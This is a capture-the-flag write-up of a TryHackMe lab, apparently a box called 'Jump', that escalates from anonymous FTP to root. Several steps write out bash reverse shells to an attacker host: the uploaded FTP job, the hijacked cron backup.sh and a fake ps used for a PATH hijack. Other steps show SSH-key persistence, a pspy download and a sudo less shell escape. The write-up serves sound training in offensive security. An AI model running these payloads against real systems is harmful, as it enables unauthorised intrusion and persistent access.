Jump

Jun 12, 2026

|

6 min read

| Room ↗

The brief sets the tone, a misconfigured automation pipeline where each stage trusts the previous one a little too much. The goal is to ride those trust boundaries all the way up:

recon_user → dev_user → monitor_user → ops_user → root

Recon

A full-port service scan to see what’s exposed.

nmap: service & version scan
nmap -sV -sC -p- <target-ip>
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 115 123 4096 Apr 30 06:00 incoming [NSE: writeable]
|_drwxr-xr-x 4 115 123 4096 Jun 09 08:22 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)

Two things jump out: anonymous FTP is allowed, and the incoming directory is world-writeable. That pairing is rarely an accident, something is almost certainly watching that folder.

Foothold: anonymous FTP → shell as recon_user

Logging in anonymously and looking around:

ftp: anonymous login & enumeration
ftp <target-ip>
Name (<target-ip>:velnic): anonymous
230 Login successful.
ftp> ls
drwxrwxrwx 2 115 123 4096 Apr 30 06:00 incoming
drwxr-xr-x 4 115 123 4096 Jun 09 08:22 pub
ftp> get pub/README.txt

The README.txt in pub/ explains exactly what the writeable folder is for:

README.txt
[ recon pipeline ]
All recon jobs must be placed in incoming/.
Files are processed automatically on arrival.
Invalid formats are ignored.

So jobs dropped in incoming/ get executed automatically by whatever runs the pipeline. That’s a free code-execution primitive, I’ll drop a reverse shell as the “job”.

scan.sh: the malicious job
sh -i >& /dev/tcp/<attacker-ip>/1337 0>&1

Listener up, then upload the file:

ftp: drop the job in incoming/
nc -lvnp 1337
listening on [any] 1337 ...
ftp> cd incoming
ftp> put scan.sh
226 Transfer complete.

A few seconds later the pipeline runs it and the shell lands:

caught the shell
$ whoami
recon_user

Upgrade to a proper PTY so things behave:

stabilise the shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
recon_user@tryhackme-2404:~$ ^Z
stty raw -echo; fg
recon_user@tryhackme-2404:~$ export TERM=xterm
recon_user@tryhackme-2404:~$ cat flag.txt
THM{████████████████████████████████████}

First flag captured. 🚩

recon_user → dev_user: cron-script abuse

Standard enumeration first, sudo -l wants a password we don’t have, no useful SUID binaries or capabilities, and /etc/crontab only has the stock entries. /etc/passwd does confirm the user chain the brief promised:

/etc/passwd (trimmed)
recon_user:x:1001:1001::/home/recon_user:/bin/sh
dev_user:x:1002:1002::/home/dev_user:/bin/sh
monitor_user:x:1003:1003::/home/monitor_user:/bin/sh
ops_user:x:1004:1004::/home/ops_user:/bin/sh

The system crontab is empty, so the scheduling lives somewhere cat won’t easily find. Time for pspy to watch processes in real time:

TIP

First wget attempt failed silently, because I used -o instead of -O, -o writes the log to that path, you want -O to set the output file. Easy to miss.

pspy: watching scheduled jobs
recon_user@tryhackme-2404:~$ wget http://<attacker-ip>/pspy -O /tmp/pspy
recon_user@tryhackme-2404:~$ chmod +x /tmp/pspy && /tmp/pspy
...
CMD: UID=1002 PID=1768 | /bin/bash /opt/dev/backup.sh
CMD: UID=1001 PID=1769 | /bin/bash /opt/recon/scan_uploads.sh

UID=1002 is dev_user, and it runs /opt/dev/backup.sh on a schedule. If that script is writeable, I own the next user. It is, so I append a reverse shell to it:

/opt/dev/backup.sh: hijacked
#!/bin/bash
tar -czf /tmp/recon_backup.tgz /home/recon_user
bash -i >& /dev/tcp/<attacker-ip>/1338 0>&1

Wait for the next run, catch it, upgrade, grab the flag:

shell as dev_user
nc -lvnp 1338
listening on [any] 1338 ...
dev_user@tryhackme-2404:~$ whoami
dev_user
dev_user@tryhackme-2404:~$ cat flag.txt
THM{████████████████████████████████████}

Second flag captured. 🚩

dev_user → monitor_user: $PATH hijack on the healthcheck service

This is the step that cost me the most time. pspy and LinPeas turned up some tempting rabbit holes, the box flags as potentially vulnerable to a couple of recent sudo CVEs (CVE‑2025‑32463 “chwoot” on Sudo 1.9.15p5 among them), but those all asked for dev_user’s password, which I didn’t have. The intended path is meant to be followed in order.

The hint pointed at a healthcheck service that runs ps without an absolute path. The catch: on my box it was sitting dead most of the time, so pspy never showed it:

the service is inactive
dev_user@tryhackme-2404:~$ systemctl status healthcheck
healthcheck.service - System Health Check
Loaded: loaded (/etc/systemd/system/healthcheck.service; static)
Active: inactive (dead)
TriggeredBy: healthcheck.timer

Reading the unit and the script shows the misconfiguration that could be exploited clearly:

/etc/systemd/system/healthcheck.service
[Service]
Type=simple
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheck
/usr/local/bin/healthcheck
#!/bin/bash
echo "Running as: $(whoami)"
while true; do
ps aux | grep -v grep
sleep 5
done

It calls ps with no absolute path, and its PATH puts /opt/dev/bin first, a directory dev_user controls. So I drop a malicious ps there and it’ll run as monitor_user:

/opt/dev/bin/ps: PATH hijack payload
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/1339 0>&1

The only problem: the service really was dead, and I can’t start it myself. The THM Discord confirmed this is just a flaky box, people simply restart the machine until the timer fires the service. A few restarts later, pspy finally showed it alive:

pspy: healthcheck finally running
CMD: UID=1003 PID=1376 | /bin/bash /usr/local/bin/healthcheck
CMD: UID=1003 PID=1375 | ps aux

With the service running, my fake ps fires and the shell comes back as monitor_user. This time I’ll plant an SSH key for a cleaner, persistent way back in:

persist via authorized_keys
monitor_user@tryhackme-2404:~$ mkdir -p ~/.ssh && chmod 700 ~/.ssh && \
echo '<my-ssh-public-key>' >> ~/.ssh/authorized_keys && \
chmod 600 ~/.ssh/authorized_keys
ssh -i thm_ssh_key monitor_user@<target-ip>
monitor_user@tryhackme-2404:~$ cat flag.txt
THM{████████████████████████████████████}

Third flag captured. 🚩

monitor_user → ops_user: a sudo-able deploy script

sudo -l finally gives us something, and no password required:

sudo -l (monitor_user)
User monitor_user may run the following commands on tryhackme-2404:
(ops_user) NOPASSWD: /usr/local/bin/deploy.sh

deploy.sh itself is owned by ops_user and not writeable by us, but look at what it calls:

/usr/local/bin/deploy.sh
#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.sh
permissions: the helper is ours
-rwxr-xr-x 1 ops_user ops_user 55 /usr/local/bin/deploy.sh
-rwxr-xr-x 1 monitor_user monitor_user 90 /opt/app/deploy_helper.sh

The wrapper is locked, but the helper it invokes is owned by monitor_user. I rewrite deploy_helper.sh to plant my key into ops_user’s account:

/opt/app/deploy_helper.sh: hijacked
#!/bin/bash
mkdir -p /home/ops_user/.ssh
chmod 700 /home/ops_user/.ssh
echo '<my-ssh-public-key>' >> /home/ops_user/.ssh/authorized_keys
chmod 600 /home/ops_user/.ssh/authorized_keys

WARNING

sudo /usr/local/bin/deploy.sh still prompts for a password, the rule is scoped to a specific target user, so you have to ask for it explicitly with -u ops_user.

run it as the right user, then log in
monitor_user@tryhackme-2404:~$ sudo -u ops_user /usr/local/bin/deploy.sh
ssh -i thm_ssh_key ops_user@<target-ip>
ops_user@tryhackme-2404:~$ cat flag.txt
THM{████████████████████████████████████}

Fourth flag captured. 🚩

ops_user → root: sudo less (GTFOBins)

Last hop. For ops_user’s sudo rights are striking again:

sudo -l (ops_user)
User ops_user may run the following commands on tryhackme-2404:
(root) NOPASSWD: /usr/bin/less

less as root is a straight GTFOBins win, from its pager you can spawn a shell:

sudo less → root
ops_user@tryhackme-2404:~$ sudo less /etc/hosts
# (inside less, type:) !/bin/bash
root@tryhackme-2404:/home/ops_user# whoami
root
root@tryhackme-2404:/home/ops_user# cat /root/flag.txt
THM{████████████████████████████████████}

Root. Box complete. 🚩

Takeaways

  • A world-writeable, auto-processed FTP folder is RCE. “Files are processed automatically on arrival” plus write access is all you need for a foothold.
  • pspy beats cat for finding jobs. The schedule wasn’t in /etc/crontab, only watching live processes revealed /opt/dev/backup.sh and the healthcheck service.
  • Relative binary names + an attacker-controlled PATH = privesc. The healthcheck service trusting ps from /opt/dev/bin is the whole bug.
  • Read sudo rules carefully. (ops_user) NOPASSWD means you must pass -u ops_user; and a sudo-able less is an instant root via GTFOBins.

Kill Chain

Reconnaissance T1595
nmap: vsftpd, anonymous FTP allowed
world-writeable incoming/
Initial Access T1078.001
anonymous FTP login
README: uploads auto-processed
Execution T1059.004
drop scan.sh reverse shell in incoming/
pipeline runs it → recon_user
Discovery T1057
pspy reveals cron and healthcheck
sudo -l enumerates rights
Privilege Escalation T1053.003 · T1574.007 · T1548.003
append shell to cron backup.sh → dev_user
PATH hijack fake ps → monitor_user
sudo -u ops_user deploy helper → ops_user
sudo less GTFOBins → root
Persistence T1098.004
plant SSH key in authorized_keys
linux privesc lateral-movement